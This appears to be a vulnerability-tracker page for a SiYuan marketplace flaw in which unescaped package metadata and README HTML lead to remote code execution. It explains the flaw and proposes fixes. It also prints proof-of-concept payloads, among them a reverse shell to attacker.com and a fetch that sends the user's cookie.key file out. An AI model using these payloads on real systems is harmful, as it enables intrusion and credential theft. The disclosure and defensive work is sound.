CVE-2026-56397Medium▾ SunlitSiYuan Vulnerable to Remote Code Execution via Malicious Bazaar Package — Marketplace XSS
▾ Sunlit zone — Low / medium · no exploitation signal
impact 27.5 · likelihood 0.1 · exploitation 0
Need a working PoC? Pro members can cast a request and our team develops one — it lands right here.
Exploit-prediction probability, daily snapshots since Sep 14.
Disclosure to exploitation, from the record and what we observed since indexing it.
Disclosed via GHSA
Last analysed / modified upstream
0.7%
SiYuan's Bazaar (community marketplace) renders plugin/theme/template metadata and README content without sanitization. A malicious package author can achieve RCE on any user who browses the Bazaar by:
displayName and description fields are injected directly into HTML via template literals without escaping. Just loading the Bazaar page triggers execution.renderREADME function uses lute.New() without SetSanitize(true), so raw HTML in the README passes through to innerHTML unsanitized.Both vectors execute in Electron's renderer with nodeIntegration: true and contextIsolation: false, giving full OS command execution.
app/src/config/bazaar.ts:275-277kernel/bazaar/package.go:635-645 (renderREADME)app/src/config/bazaar.ts:607 (innerHTML)app/electron/main.js:422-426 (nodeIntegration: true)// Package name injected directly into HTML template — NO escaping
${item.preferredName}${item.preferredName !== item.name
? ` <span class="ft__on-surface ft__smaller">${item.name}</span>` : ""}
// Package description injected directly — NO escaping
<div class="b3-card__desc" title="${escapeAttr(item.preferredDesc) || ""}">
${item.preferredDesc || ""} <!-- UNESCAPED HTML -->
</div>
Note: The title attribute uses escapeAttr(), but the actual text content does not — inconsistent escaping.
func renderREADME(repoURL string, mdData []byte) (ret string, err error) {
luteEngine := lute.New() // Fresh Lute instance — SetSanitize NOT called
luteEngine.SetSoftBreak2HardBreak(false)
luteEngine.SetCodeSyntaxHighlight(false)
linkBase := "https://cdn.jsdelivr.net/gh/" + ...
luteEngine.SetLinkBase(linkBase)
ret = luteEngine.Md2HTML(string(mdData)) // Raw HTML in markdown preserved
return
}
Compare with the SiYuan note renderer in kernel/util/lute.go:81:
luteEngine.SetSanitize(true) // Notes ARE sanitized — but README is NOT
fetchPost("/api/bazaar/getBazaarPackageREADME", {...}, response => {
mdElement.innerHTML = response.data.html; // Unsanitized HTML from README
});
A malicious plugin.json (or theme.json, template.json):
{
"name": "helpful-plugin",
"displayName": {
"default": "Helpful Plugin<img src=x onerror=\"require('child_process').exec('calc.exe')\">"
},
"description": {
"default": "A helpful plugin<img src=x onerror=\"require('child_process').exec('id>/tmp/pwned')\">"
},
"version": "1.0.0"
}
When any user opens the Bazaar page and this package is in the listing, the onerror handler fires automatically (since src=x fails to load), executing arbitrary OS commands.
# Helpful Plugin
This plugin does helpful things.
<img src=x onerror="require('child_process').exec('calc.exe')">
## Installation
Follow the usual steps.
When a user clicks on the package to view its README, the raw HTML is rendered via innerHTML without sanitization, executing the onerror handler.
# Cool Theme
<img src=x onerror="require('child_process').exec('bash -c \"bash -i >& /dev/tcp/attacker.com/4444 0>&1\"')">
{
"displayName": {
"default": "<img src=x onerror=\"fetch('https://attacker.com/exfil?token='+require('fs').readFileSync(require('path').join(require('os').homedir(),'.config/siyuan/cookie.key'),'utf8'))\">"
}
}
displayName or descriptionThe attacker doesn't need to trick the user into installing anything. Simply browsing the marketplace is enough.
nodeIntegration: true// Use a proper HTML escape function
function escapeHtml(str: string): string {
return str.replace(/&/g, '&').replace(/</g, '<')
.replace(/>/g, '>').replace(/"/g, '"');
}
// Apply to all user-controlled metadata
${escapeHtml(item.preferredName)}
<div class="b3-card__desc">${escapeHtml(item.preferredDesc || "")}</div>
func renderREADME(repoURL string, mdData []byte) (ret string, err error) {
luteEngine := lute.New()
luteEngine.SetSanitize(true) // ADD THIS
luteEngine.SetSoftBreak2HardBreak(false)
luteEngine.SetCodeSyntaxHighlight(false)
// ...
}
webPreferences: {
nodeIntegration: false,
contextIsolation: true,
sandbox: true,
}
github.com/siyuan-note/siyuan/kernel <= 0.0.0-20260313024916-fd6526133bb3Refer to the advisory for the patched release.
Connected by shared product, vendor, weakness, or advisory.
GHSA-24r3-p3x6-cqvxCritical· 9.6Duplicate Advisory: SiYuan Vulnerable to Remote Code Execution via Malicious Bazaar Package — Marketplace XSS
CVE-2026-56395MediumRejected reason: This record is a duplicate; use CVE-2026-56397 instead.
GHSA-99rq-75j6-5j9fHigh· 8.7SiYuan: Stored and reflected XSS in SiYuan through an SVG sanitizer bypass
CVE-2026-50551Critical· 9.9SiYuan: Stored XSS to RCE via Unsanitized Attribute View Asset Cell Content
CVE-2026-54067Critical· 9.9SiYuan: Stored XSS to RCE via CSS-snippet <style> breakout in renderSnippet()
CVE-2026-54070High· 7.1SiYuan: Stored XSS in Bazaar marketplace via package README event handlers